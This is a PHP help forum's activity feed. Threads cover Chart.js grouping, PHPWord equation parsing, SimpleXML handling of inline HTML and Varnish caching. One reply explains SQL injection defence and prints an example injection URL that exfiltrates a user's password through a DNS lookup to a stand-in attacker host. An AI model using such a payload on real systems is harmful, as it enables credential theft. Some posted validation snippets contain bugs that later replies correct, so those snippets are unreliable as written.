Jump to content

All Activity

This stream auto-updates

  1. Past hour
  2. I should have checked the is_int manual page, and should have seen that it checks PHP's internal type. Thanks to Psycho and mac_gyver we got you there, but just to be complete, is_numeric will pass many numbers through that are not integers. To really do the job well, this is what I should have offered up from the beginning (and also takes advantage of the typecasting I wrote about. if (!isset($_GET['t']) || !is_numeric($_GET['t']) || !is_int((int)$_GET['t'] || $_GET['t'] < 0) { header('Location: http://www.baltimorebeach.com'); exit; } It is always very important that location redirects are followed by an exit, because redirection is a function of the browser. The server is basically saying: "you go here", but it is up to the browser to actually follow that instruction. Bots and artificial clients may not play by the rules. So the script should at that point exit, so that no additional code is run, or access restriction bypassed.
  3. Today
  4. I have no idea how your chart software works but if you provide five data values (8, 19, 11, 3, 49) for one type and three data values (1, 3, 7) for the other, how is it supposed to know which months those values are for? You have a very weird x-axis for that chart (the month sequence is 6-5-4-3-2-1-12-11-10-9-8-7). The norm is to put them in chronological order.
  5. Bit of a breakthrough I've altered the PHP to if(!empty($data['legend'])) { foreach($data['legend'] as $r1) { if(isset($r1->Name)) { $sales = $this->_query->get_sales_count($r1->IdService); if(!empty($sales)) { foreach($sales as $r2) { $count[$r1->Name][] = $r2->Sales; } $legend[] = array('label' => $r1->Name, 'backgroundColor' => $r1->GraphColor, 'data' => implode(',',$count[$r1->Name])); } } } } and that has given me [{"label":"Installation","backgroundColor":"#2bca2d","data":"8,19,11,3,49"},{"label":"Repair","backgroundColor":"#cfca3a","data":"1,3,7"}] which looks ok until its placed in the char then it adds everything to the wrong month and only 1 item per month
  6. Barand

    CBT Exam

    Another option, maybe Create question in MSWord Save page as html doc Display it in an <iframe> on your page
  7. Olumide

    CBT Exam

    I keep getting this error Warning: DOMDocument::loadXML(): Namespace prefix m on oMath is not defined in Entity, line: 1 in C:\wamp64\www\cbt\cbt_exam\vendor\phpoffice\math\src\Math\Reader\OfficeMathML.php on line 39 Call Stack #TimeMemoryFunctionLocation 10.0005449024{main}( )...\upload.php:0 20.0080581080convertDocxToHtml( $filename = 'uploads/Question_me2.docx' )...\upload.php:30 30.0087581080PhpOffice\PhpWord\IOFactory::load( $filename = 'uploads/Question_me2.docx', $readerName = ??? )...\upload.php:120 40.0100581872PhpOffice\PhpWord\Reader\Word2007->load( $docFile = 'uploads/Question_me2.docx' )...\IOFactory.php:89 50.0479598432PhpOffice\PhpWord\Reader\Word2007->readPart( $phpWord = class PhpOffice\PhpWord\PhpWord { private $sections = [0 => class PhpOffice\PhpWord\Element\Section { ... }]; private $collections = ['Bookmarks' => class PhpOffice\PhpWord\Collection\Bookmarks { ... }, 'Titles' => class PhpOffice\PhpWord\Collection\Titles { ... }, 'Footnotes' => class PhpOffice\PhpWord\Collection\Footnotes { ... }, 'Endnotes' => class PhpOffice\PhpWord\Collection\Endnotes { ... }, 'Charts' => class PhpOffice\PhpWord\Collection\Charts { ... }, 'Comments' => class PhpOffice\PhpWord\Collection\Comments { ... }]; private $metadata = ['DocInfo' => class PhpOffice\PhpWord\Metadata\DocInfo { ... }, 'Settings' => class PhpOffice\PhpWord\Metadata\Settings { ... }, 'Compatibility' => class PhpOffice\PhpWord\Metadata\Compatibility { ... }] }, $relationships = ['main' => ['rId1' => [...], 'rId2' => [...], 'rId3' => [...]], 'document' => ['rId1' => [...], 'rId2' => [...], 'rId3' => [...], 'rId4' => [...], 'rId5' => [...], 'rId6' => [...]]], $commentRefs = [], $partName = 'Document', $docFile = 'uploads/Question_me2.docx', $xmlFile = 'word/document.xml' )...\Word2007.php:89 and here is the OfficeMathML.php <?php namespace PhpOffice\Math\Reader; use DOMDocument; use DOMNode; use DOMXPath; use PhpOffice\Math\Element; use PhpOffice\Math\Exception\InvalidInputException; use PhpOffice\Math\Exception\NotImplementedException; use PhpOffice\Math\Math; class OfficeMathML implements ReaderInterface { /** @var DOMDocument */ protected $dom; /** @var Math */ protected $math; /** @var DOMXpath */ protected $xpath; /** @var string[] */ protected $operators = ['+', '-', '/', '∗']; public function read(string $content): ?Math { $nsMath = 'xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math"'; $nsWord = 'xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"'; $content = str_replace( $nsMath, $nsMath . ' ' . $nsWord, $content ); $this->dom = new DOMDocument(); $this->dom->loadXML($content); $this->math = new Math(); $this->parseNode(null, $this->math); return $this->math; } /** * @see https://devblogs.microsoft.com/math-in-office/officemath/ * @see https://learn.microsoft.com/fr-fr/archive/blogs/murrays/mathml-and-ecma-math-omml * * @param Math|Element\AbstractGroupElement $parent */ protected function parseNode(?DOMNode $nodeRowElement, $parent): void { $this->xpath = new DOMXpath($this->dom); foreach ($this->xpath->query('*', $nodeRowElement) ?: [] as $nodeElement) { $element = $this->getElement($nodeElement); $parent->add($element); if ($element instanceof Element\AbstractGroupElement) { $this->parseNode($nodeElement, $element); } } } protected function getElement(DOMNode $nodeElement): Element\AbstractElement { switch ($nodeElement->nodeName) { case 'm:f': // Numerator $nodeNumerator = $this->xpath->query('m:num/m:r/m:t', $nodeElement); if ($nodeNumerator && $nodeNumerator->length == 1) { $value = $nodeNumerator->item(0)->nodeValue; if (is_numeric($value)) { $numerator = new Element\Numeric(floatval($value)); } else { $numerator = new Element\Identifier($value); } } else { throw new InvalidInputException(sprintf( '%s : The tag `%s` has no numerator defined', __METHOD__, $nodeElement->nodeName )); } // Denominator $nodeDenominator = $this->xpath->query('m:den/m:r/m:t', $nodeElement); if ($nodeDenominator && $nodeDenominator->length == 1) { $value = $nodeDenominator->item(0)->nodeValue; if (is_numeric($value)) { $denominator = new Element\Numeric(floatval($value)); } else { $denominator = new Element\Identifier($value); } } else { throw new InvalidInputException(sprintf( '%s : The tag `%s` has no denominator defined', __METHOD__, $nodeElement->nodeName )); } return new Element\Fraction($numerator, $denominator); case 'm:r': $nodeText = $this->xpath->query('m:t', $nodeElement); if ($nodeText && $nodeText->length == 1) { $value = trim($nodeText->item(0)->nodeValue); if (in_array($value, $this->operators)) { return new Element\Operator($value); } if (is_numeric($value)) { return new Element\Numeric(floatval($value)); } return new Element\Identifier($value); } throw new InvalidInputException(sprintf( '%s : The tag `%s` has no tag `m:t` defined', __METHOD__, $nodeElement->nodeName )); case 'm:oMath': return new Element\Row(); default: throw new NotImplementedException(sprintf( '%s : The tag `%s` is not implemented', __METHOD__, $nodeElement->nodeName )); } } } And here is my upload.php <?php session_start(); if ($_SESSION['role'] !== 'teacher') { header("Location: login.php"); exit(); } require 'db.php'; require 'vendor/autoload.php'; // Load the PHPWord library use PhpOffice\PhpWord\IOFactory; use PhpOffice\PhpWord\Settings; use PhpOffice\PhpWord\Shared\Html; $database = new Database(); $db = $database->getConnection(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $class_id = $_POST['class_id']; $subject_id = $_POST['subject_id']; $file = $_FILES['file']; if ($file['type'] == 'application/vnd.openxmlformats-officedocument.wordprocessingml.document') { $upload_dir = 'uploads/'; $file_path = $upload_dir . basename($file['name']); if (move_uploaded_file($file['tmp_name'], $file_path)) { try { // Convert .docx file to HTML $htmlFilePath = convertDocxToHtml($file_path); if ($htmlFilePath) { echo "File converted to HTML successfully.<br>"; } else { echo "Failed to convert file to HTML.<br>"; exit(); } // Parse the HTML file $htmlContent = file_get_contents($htmlFilePath); $questions = parseHtmlToQuestions($htmlContent); foreach ($questions as $question) { $stmt = $db->prepare("INSERT INTO questions (question_text, question_type, option_a, option_b, option_c, option_d, correct_option, subject_id) VALUES (?, 'Multiple Choice', ?, ?, ?, ?, ?, ?)"); if ($stmt->execute([ $question['question_text'], $question['options']['a'] ?? '', $question['options']['b'] ?? '', $question['options']['c'] ?? '', $question['options']['d'] ?? '', $question['correct_option'], $subject_id ])) { echo "Question inserted successfully: " . htmlspecialchars($question['question_text']) . "<br>"; } else { echo "Failed to insert question: " . htmlspecialchars($question['question_text']) . "<br>"; print_r($stmt->errorInfo()); } } echo "File uploaded and questions added successfully."; } catch (Exception $e) { echo "Error processing file: " . htmlspecialchars($e->getMessage()); } } else { echo "Failed to upload file."; } } else { echo "Invalid file type. Please upload a .docx file."; } } else { $classes = $db->query("SELECT * FROM classes")->fetchAll(PDO::FETCH_ASSOC); ?> <!DOCTYPE html> <html> <head> <title>Upload Questions</title> </head> <body> <h1>Upload Questions</h1> <form action="upload.php" method="post" enctype="multipart/form-data"> <label for="class">Class:</label> <select name="class_id" id="class" onchange="fetchSubjects(this.value)"> <option value="">Select Class</option> <?php foreach ($classes as $class): ?> <option value="<?= htmlspecialchars($class['class_id']) ?>"><?= htmlspecialchars($class['class_name']) ?></option> <?php endforeach; ?> </select> <label for="subject">Subject:</label> <select name="subject_id" id="subject"> <option value="">Select Subject</option> <!-- Subjects will be populated based on selected class --> </select> <label for="file">Choose a file:</label> <input type="file" name="file" id="file" accept=".docx"> <button type="submit">Upload</button> </form> <script> function fetchSubjects(classId) { fetch(`fetch_subjects.php?class_id=${classId}`) .then(response => response.json()) .then(data => { const subjectSelect = document.getElementById('subject'); subjectSelect.innerHTML = '<option value="">Select Subject</option>'; data.forEach(subject => { const option = document.createElement('option'); option.value = subject.subject_id; option.textContent = subject.subject_name; subjectSelect.appendChild(option); }); }); } </script> </body> </html> <?php } function convertDocxToHtml($filename) { $phpWord = IOFactory::load($filename); $htmlWriter = IOFactory::createWriter($phpWord, 'HTML'); $htmlFilePath = str_replace('.docx', '.html', $filename); $htmlWriter->save($htmlFilePath); return $htmlFilePath; } function parseHtmlToQuestions($htmlContent) { $questions = []; $currentQuestion = null; $dom = new DOMDocument; @$dom->loadHTML($htmlContent); $paragraphs = $dom->getElementsByTagName('p'); $currentPassage = ''; foreach ($paragraphs as $paragraph) { $text = trim($paragraph->textContent); $nodeContent = ''; foreach ($paragraph->childNodes as $node) { if ($node->nodeName === 'b' || $node->nodeName === 'strong') { $nodeContent .= '<b>' . $node->textContent . '</b>'; } elseif ($node->nodeName === 'i' || $node->nodeName === 'em') { $nodeContent .= '<i>' . $node->textContent . '</i>'; } elseif ($node->nodeName === 'img') { $src = $node->getAttribute('src'); $nodeContent .= '<img src="' . $src . '">'; } else { $nodeContent .= $node->textContent; } } // Handle equations (assuming they are marked with a specific tag or format) if (strpos($text, 'Equation:') === 0) { $equation = substr($text, 9); $currentQuestion['equation'] = $equation; // Store equations separately } if (strpos($text, 'Passage:') === 0) { if ($currentPassage) { $questions[] = ['passage' => $currentPassage, 'questions' => []]; } $currentPassage = substr($text, 8); } elseif (strpos($text, 'Question:') === 0) { if ($currentQuestion) { $questions[] = $currentQuestion; } $currentQuestion = [ 'question_text' => $nodeContent, 'options' => [], 'correct_option' => '', 'equation' => '', 'images' => [] ]; } elseif (preg_match('/^[A-D]\)/', $text)) { if ($currentQuestion) { $optionKey = strtolower($text[0]); $currentQuestion['options'][$optionKey] = substr($text, 3); } } elseif (strpos($text, 'Answer:') === 0) { if ($currentQuestion) { $currentQuestion['correct_option'] = trim(substr($text, 7)); } } } if ($currentQuestion) { $questions[] = $currentQuestion; } return $questions; } ?>
  8. I tried that but still gives the same results
  9. Why don't you group by job type, month
  10. I have had to go about it a totally different way because I need figures for each job type so have got this "SELECT ".PREFIX."tservices.IdService, ".PREFIX."tservices.Name, ".PREFIX."tservices.GraphColor, ".PREFIX."tprojects.Service, COUNT(".PREFIX."tprojects.IdProject) as Sales, ".PREFIX."tprojects.Finish FROM ".PREFIX."tservices LEFT JOIN ".PREFIX."tprojects ON ".PREFIX."tservices.IdService = ".PREFIX."tprojects.Service WHERE ".PREFIX."tservices.InGraph = '1' GROUP BY MONTH(".PREFIX."tprojects.Finish), YEAR(".PREFIX."tprojects.Finish) ORDER BY ".PREFIX."tprojects.Finish DESC LIMIT 0, 12" Then the PHP is if(!empty($data['legend'])) { foreach($data['legend'] as $r1) { if(isset($r1->Name)) { $sales = $this->_query->get_sales_count($r1->IdService); if(!empty($sales)) { foreach($sales as $r2) { $count[] = $r2->Sales; } $legend[] = array('label' => $r1->Name, 'backgroundColor' => $r1->GraphColor, 'data' => implode(',',$count)); } } } } But the json its outputting [{"label":"Installation","backgroundColor":"#2bca2d","data":"8,19,11,3,49"},{"label":"Repair","backgroundColor":"#cfca3a","data":"8,19,11,3,49,1,3,7"}] instead of [{"label":"Installation","backgroundColor":"#2bca2d","data":"8,19,11,3,49"},{"label":"Repair","backgroundColor":"#cfca3a","data":"1,3,7"}] Does anyone have any idea how to solve this? Thanks in advance
  11. Not that anyone has been using it this decade - or century, even - but there's a technology that exists which is designed for transforming XML into HTML as you just did. It's called XSLT. You can do it fully within PHP, but here's a demo without. kjv.xml <?xml version="1.0"?> <?xml-stylesheet href="kjv.xslt" type="text/xsl"?> <root> <book num="I don't know"> <chapter num="17"> <verse num="1">And after six days Jesus taketh Peter, James, and John his brother, and bringeth them up into an high mountain apart,</verse> <verse num="2">And was transfigured before them: and his face did shine as the sun, and his raiment was white as the light.</verse> <verse num="3">And, behold, there appeared unto them Moses and Elias talking with him.</verse> <verse num="4">Then answered Peter, and said unto Jesus, Lord, it is good for us to be here: if thou wilt, let us make here three tabernacles; one for thee, and one for Moses, and one for Elias.</verse> <verse num="5">While he yet spake, behold, a bright cloud overshadowed them: and behold a voice out of the cloud, which said, This is my beloved Son, in whom I am well pleased; hear ye him.</verse> <verse num="6">And when the disciples heard <i>it,</i> they fell on their face, and were sore afraid.</verse> <verse num="7">And Jesus came and touched them, and said, <span class="j">Arise, and be not afraid. </span></verse> <verse num="8">And when they had lifted up their eyes, they saw no man, save Jesus only.</verse> <verse num="9">And as they came down from the mountain, Jesus charged them, saying, <span class="j">Tell the vision to no man, until the Son of man be risen again from the dead. </span></verse> <verse num="10">And his disciples asked him, saying, Why then say the scribes that Elias must first come?</verse> <verse num="11">And Jesus answered and said unto them, <span class="j">Elias truly shall first come, and restore all things. </span></verse> <verse num="12"><span class="j">But I say unto you, That Elias is come already, and they knew him not, but have done unto him whatsoever they listed. Likewise shall also the Son of man suffer of them. </span></verse> <verse num="13">Then the disciples understood that he spake unto them of John the Baptist.</verse> <verse num="14">And when they were come to the multitude, there came to him a <i>certain</i> man, kneeling down to him, and saying,</verse> <verse num="15">Lord, have mercy on my son: for he is lunatick, and sore vexed: for ofttimes he falleth into the fire, and oft into the water.</verse> <verse num="16">And I brought him to thy disciples, and they could not cure him.</verse> <verse num="17">Then Jesus answered and said, <span class="j">O faithless and perverse generation, how long shall I be with you? how long shall I suffer you? bring him hither to me. </span></verse> </chapter> </book> </root> kjv.xslt <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="html" /> <xsl:template match="/"> <html> <body> <xsl:apply-templates select="/root/book" /> </body> </html> </xsl:template> <xsl:template match="book"> <h1>Book <xsl:value-of select="@num" /></h1> <xsl:apply-templates select="chapter" /> </xsl:template> <xsl:template match="chapter"> <h2>Chapter <xsl:value-of select="@num" /></h2> <ol start="{verse[1]/@num}"> <xsl:apply-templates select="verse" /> </ol> </xsl:template> <xsl:template match="verse"> <li><xsl:apply-templates /></li> </xsl:template> <xsl:template match="b | i | span"> <xsl:copy-of select="." /> </xsl:template> </xsl:stylesheet> In a browser, which you might have to run through a webserver depending on your browser security settings, (you can see the italics in verses 6 and 14; the spans are invisible but they are present)
  12. Thank you very much for your time. I will look through your solution and try to figure it out. In case it does not work, I will get rid of the Ajax processing, then use pure php to process my form.
  13. Yesterday
  14. Thank you.... xpath didn't really do what I wanted because of the fact I need to have other attributes above the verse (this is going into a database).... BUT ....asXML() did the trick when combined with my existing code. For anyone who may find this helpful, or struggle with the same general thing I did... here is my whole code for parsing this. The KJV.xml file can be found online pretty easily. <?php $fileName = $_SERVER['DOCUMENT_ROOT'].'/assets/php/kjv.xml'; if (file_exists($fileName)) { $xml = simplexml_load_file($fileName); foreach($xml->book as $book) { $bookName = $book['num']; foreach($book->chapter as $ch ){ $verseNum = 1; $chapterNum = $ch['num']; foreach($ch->verse as $verse){ echo $bookName.' '.$chapterNum.' '.$verseNum++.' '. $verse->asXML().'<br>'; } } } } ?> Thank you for your help in this. It is precisely what I needed.
  15. this checks the datatype of the variable, not what's in the variable. get, post, cookies are by definition strings, regardless of what value they hold. change this to is_numeric().
  16. Yeah I saw that - fixed that myself - still getting the same error Will try again... Nope! That didn't work. No error but still sends me back to home page.
  17. Olumide

    CBT Exam

    You are very intelligent sir. I saved the document as an html file and it created a folder as you have said. But my problem is, how do extract them? Here is my upload.php which extract text directly from Microsoft word but not extracting images or equation. <?php session_start(); if ($_SESSION['role'] !== 'teacher') { header("Location: login.php"); exit(); } require 'db.php'; require 'vendor/autoload.php'; // Load the PHPWord library use PhpOffice\PhpWord\IOFactory; $database = new Database(); $db = $database->getConnection(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $class_id = $_POST['class_id']; $subject_id = $_POST['subject_id']; $file = $_FILES['file']; if ($file['type'] == 'application/vnd.openxmlformats-officedocument.wordprocessingml.document') { $upload_dir = 'uploads/'; $file_path = $upload_dir . basename($file['name']); if (move_uploaded_file($file['tmp_name'], $file_path)) { $phpWord = IOFactory::load($file_path, 'Word2007'); if ($phpWord) { echo "File loaded successfully.<br>"; } else { echo "Failed to load file.<br>"; exit(); } $questions = []; $currentQuestion = null; foreach ($phpWord->getSections() as $section) { foreach ($section->getElements() as $element) { if (method_exists($element, 'getText')) { $text = trim($element->getText()); // Convert bold text $text = preg_replace('/\*\*(.*?)\*\*/', '<strong>$1</strong>', $text); // Convert italicized text $text = preg_replace('/__(.*?)__/', '<em>$1</em>', $text); // Convert quoted text to blockquote $text = preg_replace('/\"(.*?)\"/', '<blockquote>$1</blockquote>', $text); // Convert subscript text $text = preg_replace('/~(.*?)~/', '<sub>$1</sub>', $text); // Convert superscript text $text = preg_replace('/\^(.*?)\^/', '<sup>$1</sup>', $text); if (strpos($text, 'Question:') === 0) { if ($currentQuestion) { $questions[] = $currentQuestion; } $currentQuestion = [ 'question_text' => substr($text, 10), 'options' => [], 'correct_option' => '' ]; } elseif (strpos($text, 'A)') === 0 || strpos($text, 'B)') === 0 || strpos($text, 'C)') === 0 || strpos($text, 'D)') === 0) { if ($currentQuestion) { $optionKey = strtolower($text[0]); $currentQuestion['options'][$optionKey] = substr($text, 3); } } elseif (strpos($text, 'Answer:') === 0) { if ($currentQuestion) { $currentQuestion['correct_option'] = trim(substr($text, 7)); } } } elseif (method_exists($element, 'getDrawing')) { // Handle image extraction $drawing = $element->getDrawing(); $imagePath = $drawing->getPath(); $imageName = basename($imagePath); $newImagePath = $upload_dir . $imageName; copy($imagePath, $newImagePath); // Here you can store $newImagePath in the database for the question } } } if ($currentQuestion) { $questions[] = $currentQuestion; } foreach ($questions as $question) { $stmt = $db->prepare("INSERT INTO questions (question_text, question_type, option_a, option_b, option_c, option_d, correct_option, subject_id) VALUES (?, 'Multiple Choice', ?, ?, ?, ?, ?, ?)"); if ($stmt->execute([ $question['question_text'], $question['options']['a'] ?? '', $question['options']['b'] ?? '', $question['options']['c'] ?? '', $question['options']['d'] ?? '', $question['correct_option'], $subject_id ])) { echo "Question inserted successfully: " . $question['question_text'] . "<br>"; } else { echo "Failed to insert question: " . $question['question_text'] . "<br>"; print_r($stmt->errorInfo()); } } echo "File uploaded and questions added successfully."; } else { echo "Failed to upload file."; } } else { echo "Invalid file type. Please upload a .docx file."; } } else { $classes = $db->query("SELECT * FROM classes")->fetchAll(PDO::FETCH_ASSOC); ?> <!DOCTYPE html> <html> <head> <title>Upload Questions</title> </head> <body> <h1>Upload Questions</h1> <form action="upload.php" method="post" enctype="multipart/form-data"> <label for="class">Class:</label> <select name="class_id" id="class" onchange="fetchSubjects(this.value)"> <option value="">Select Class</option> <?php foreach ($classes as $class): ?> <option value="<?= $class['class_id'] ?>"><?= $class['class_name'] ?></option> <?php endforeach; ?> </select> <label for="subject">Subject:</label> <select name="subject_id" id="subject"> <option value="">Select Subject</option> <!-- Subjects will be populated based on selected class --> </select> <label for="file">Choose a file:</label> <input type="file" name="file" id="file" accept=".docx"> <button type="submit">Upload</button> </form> <script> function fetchSubjects(classId) { fetch(`fetch_subjects.php?class_id=${classId}`) .then(response => response.json()) .then(data => { const subjectSelect = document.getElementById('subject'); subjectSelect.innerHTML = '<option value="">Select Subject</option>'; data.forEach(subject => { const option = document.createElement('option'); option.value = subject.subject_id; option.textContent = subject.subject_name; subjectSelect.appendChild(option); }); }); } </script> </body> </html> <?php } ?>
  18. Barand

    CBT Exam

    If you save "X.doc", which contains an equation, as "X.html" into a "documents" folder it creates as subfolder "X_files" containing the equation as an image documents | +- X.html +- X_files | +- image1.jpg
  19. Olumide

    CBT Exam

    Thank you sir. Can you please explain this further. In my previous and abandoned work, I do upload images inside the Microsoft word but and also wrote a script to identify that, but it doesn't work. It only captured the text documents.
  20. Looks like @gizmola missed a right square bracket on the second $_GET value. Try: if (!isset($_GET['t']) || !is_int($_GET['t']) || $_GET['t'] < 0) { header('Location: http://www.baltimorebeach.com'); }
  21. Outstanding! As you can tell, I am not a coder. I implemented your changes, but I am now getting this error: Parse error: syntax error, unexpected ';' in \\WDP\DFS\30\1\9\6\3007726691\user\sites\5346834.site\www\ap\viewTeam.php on line 6
  22. Have you triedd using xpath()? <?php $str = '<xml><chapter num="17"> <verse num="1">And after six days Jesus taketh Peter, James, and John his brother, and bringeth them up into an high mountain apart,</verse> <verse num="2">And was transfigured before them: and his face did shine as the sun, and his raiment was white as the light.</verse> <verse num="3">And, behold, there appeared unto them Moses and Elias talking with him.</verse> <verse num="4">Then answered Peter, and said unto Jesus, Lord, it is good for us to be here: if thou wilt, let us make here three tabernacles; one for thee, and one for Moses, and one for Elias.</verse> <verse num="5">While he yet spake, behold, a bright cloud overshadowed them: and behold a voice out of the cloud, which said, This is my beloved Son, in whom I am well pleased; hear ye him.</verse> <verse num="6">And when the disciples heard <i>it,</i> they fell on their face, and were sore afraid.</verse> <verse num="7">And Jesus came and touched them, and said, <span class="j">Arise, and be not afraid. </span></verse> <verse num="8">And when they had lifted up their eyes, they saw no man, save Jesus only.</verse> <verse num="9">And as they came down from the mountain, Jesus charged them, saying, <span class="j">Tell the vision to no man, until the Son of man be risen again from the dead. </span></verse> <verse num="10">And his disciples asked him, saying, Why then say the scribes that Elias must first come?</verse> <verse num="11">And Jesus answered and said unto them, <span class="j">Elias truly shall first come, and restore all things. </span></verse> <verse num="12"><span class="j">But I say unto you, That Elias is come already, and they knew him not, but have done unto him whatsoever they listed. Likewise shall also the Son of man suffer of them. </span></verse> <verse num="13">Then the disciples understood that he spake unto them of John the Baptist.</verse> <verse num="14">And when they were come to the multitude, there came to him a <i>certain</i> man, kneeling down to him, and saying,</verse> <verse num="15">Lord, have mercy on my son: for he is lunatick, and sore vexed: for ofttimes he falleth into the fire, and oft into the water.</verse> <verse num="16">And I brought him to thy disciples, and they could not cure him.</verse> <verse num="17">Then Jesus answered and said, <span class="j">O faithless and perverse generation, how long shall I be with you? how long shall I suffer you? bring him hither to me. </span></verse> </chapter></xml> '; $xml = simplexml_load_string($str); $verses = $xml->xpath('//verse'); ?> <!DOCTYPE html> <html lang='en'> <head> <title>XML example</title> <meta charset='utf-8'> <style type='text/css'> .j { color: blue; font-style: italic; font-weight: 600; } </style> </head> <body> <?php foreach ($verses as $v) { echo "<p>{$v->asXML()}</p>"; } ?> </body> </html> Gives...
  23. Hello all, I hope everyone is well. Thanks in advance for any assistance you can give me on this. I've got an XML file of the KJV Bible. I can parse it using SimpleXML and have working code. My challenge is this. Inside the XML file, certain verses (A TON) have HTML code in the body of the verses. See below for XML snippet & output snippet. Snippet from XML File (notice the <i> tags & <span class="j"> elements within the verses) <chapter num="17"> <verse num="1">And after six days Jesus taketh Peter, James, and John his brother, and bringeth them up into an high mountain apart,</verse> <verse num="2">And was transfigured before them: and his face did shine as the sun, and his raiment was white as the light.</verse> <verse num="3">And, behold, there appeared unto them Moses and Elias talking with him.</verse> <verse num="4">Then answered Peter, and said unto Jesus, Lord, it is good for us to be here: if thou wilt, let us make here three tabernacles; one for thee, and one for Moses, and one for Elias.</verse> <verse num="5">While he yet spake, behold, a bright cloud overshadowed them: and behold a voice out of the cloud, which said, This is my beloved Son, in whom I am well pleased; hear ye him.</verse> <verse num="6">And when the disciples heard <i>it,</i> they fell on their face, and were sore afraid.</verse> <verse num="7">And Jesus came and touched them, and said, <span class="j">Arise, and be not afraid. </span></verse> <verse num="8">And when they had lifted up their eyes, they saw no man, save Jesus only.</verse> <verse num="9">And as they came down from the mountain, Jesus charged them, saying, <span class="j">Tell the vision to no man, until the Son of man be risen again from the dead. </span></verse> <verse num="10">And his disciples asked him, saying, Why then say the scribes that Elias must first come?</verse> <verse num="11">And Jesus answered and said unto them, <span class="j">Elias truly shall first come, and restore all things. </span></verse> <verse num="12"><span class="j">But I say unto you, That Elias is come already, and they knew him not, but have done unto him whatsoever they listed. Likewise shall also the Son of man suffer of them. </span></verse> <verse num="13">Then the disciples understood that he spake unto them of John the Baptist.</verse> <verse num="14">And when they were come to the multitude, there came to him a <i>certain</i> man, kneeling down to him, and saying,</verse> <verse num="15">Lord, have mercy on my son: for he is lunatick, and sore vexed: for ofttimes he falleth into the fire, and oft into the water.</verse> <verse num="16">And I brought him to thy disciples, and they could not cure him.</verse> <verse num="17">Then Jesus answered and said, <span class="j">O faithless and perverse generation, how long shall I be with you? how long shall I suffer you? bring him hither to me. </span></verse> As you might have guessed, <span class="j"> & <i> turn into attributes or disappear within Simple XML and they break badly leaving parts of the verses missing or broken altogether. Is there a way to prevent this & get the code raw between the verse tags? I'm aware of CData, but this file is 33000 lines and manually is out the door & I'm not sure if regex would work or not. Any advice? Here is the output for the above section... Code used is <?php echo '<pre>'; print_r( simplexml_load_file( $fileName ) ); ?>. I added a few comments to draw attention to what is missing. [verse] => Array ( [0] => And after six days Jesus taketh Peter, James, and John his brother, and bringeth them up into an high mountain apart, [1] => And was transfigured before them: and his face did shine as the sun, and his raiment was white as the light. [2] => And, behold, there appeared unto them Moses and Elias talking with him. [3] => Then answered Peter, and said unto Jesus, Lord, it is good for us to be here: if thou wilt, let us make here three tabernacles; one for thee, and one for Moses, and one for Elias. [4] => While he yet spake, behold, a bright cloud overshadowed them: and behold a voice out of the cloud, which said, This is my beloved Son, in whom I am well pleased; hear ye him. [5] => And when the disciples heard they fell on their face, and were sore afraid. // missing it after heard [6] => And Jesus came and touched them, and said, // Missing a chunk here [7] => And when they had lifted up their eyes, they saw no man, save Jesus only. [8] => And as they came down from the mountain, Jesus charged them, saying, // missing a chunk here [9] => And his disciples asked him, saying, Why then say the scribes that Elias must first come? [10] => And Jesus answered and said unto them, [11] => SimpleXMLElement Object // the whole thing line became an att ( [@attributes] => Array ( [num] => 12 ) [span] => But I say unto you, That Elias is come already, and they knew him not, but have done unto him whatsoever they listed. Likewise shall also the Son of man suffer of them. ) [12] => Then the disciples understood that he spake unto them of John the Baptist. [13] => And when they were come to the multitude, there came to him a man, kneeling down to him, and saying, [14] => Lord, have mercy on my son: for he is lunatick, and sore vexed: for ofttimes he falleth into the fire, and oft into the water. [15] => And I brought him to thy disciples, and they could not cure him. [16] => Then Jesus answered and said, Thanks for any help you can offer.
  24. Based on what your ISP stated to you, they have a Varnish Cache server in between "clients" and your server. The cache control headers you are setting have no effect on the varnish server. They have configured it to cache your content for some period of time. You can learn a bit more about varnish by reading about it. Keep in mind that this is their cache server, likely to reduced overall traffic to their hosts, and seems not to be something they advertise, which is a bit shady, but such is the way of shared hosting companies. So when they asked you if you wanted to turn it off, at least for the purposes of this exercise the answer is "YES". This is the reason you are seeing the behavior you are seeing. The requests are going to the server, the Varnish cache server is intercepting those requests and serving a cached version of your actual response for some period of time. Once the setting expires, you see a new page.
  25. Last week
  26. how about clicking on the testdate.php row?
  27. I only put BST to show what it represented. I have inspected the code and got this... Don't know where I am supposed to be lookimg.
  28. I want to also offer a simple fix for the huge sql injection hole this code has. At least in this script you can somewhat mitigate it by "casting" the url parameter to an integer. // change $id = $_GET['t']; // To $id = (int)$_GET['t']; Usually this would work well, as in most systems there won't be a row with an id of zero. If for example, someone tries to pass a url parameter like this one, it could be really bad: https:...yoursite.com?t= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.3w39ricodvyzuq0ood.somebadsite.net\1.xem',null,null)) Casting the get parameter to an integer would safely convert all that attempted sql injection code to 0. You have the unfortunate situation that you decided to have a zero id, so you can't use that as a safety net now. It's not the only nor best way to harden a system from sql injection attacks, but it is a simple and longstanding one, when your system intrinsically works with integer keys. With that said, I took Psycho's code and tweaked it a bit, which will at least get your system working again with 0, and will protect against sql injection, but this problem could exist throughout the other scripts, and fixing this one problem may not make it usable for you again. To be clear replace the first few lines with these lines: <?php require_once('seabass.php'); if (!isset($_GET['t']) || !is_int($_GET['t') || $_GET['t'] < 0) { header('Location: http://www.baltimorebeach.com'); } And at least with this script your zero id team should load again.
  1. Load more activity
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.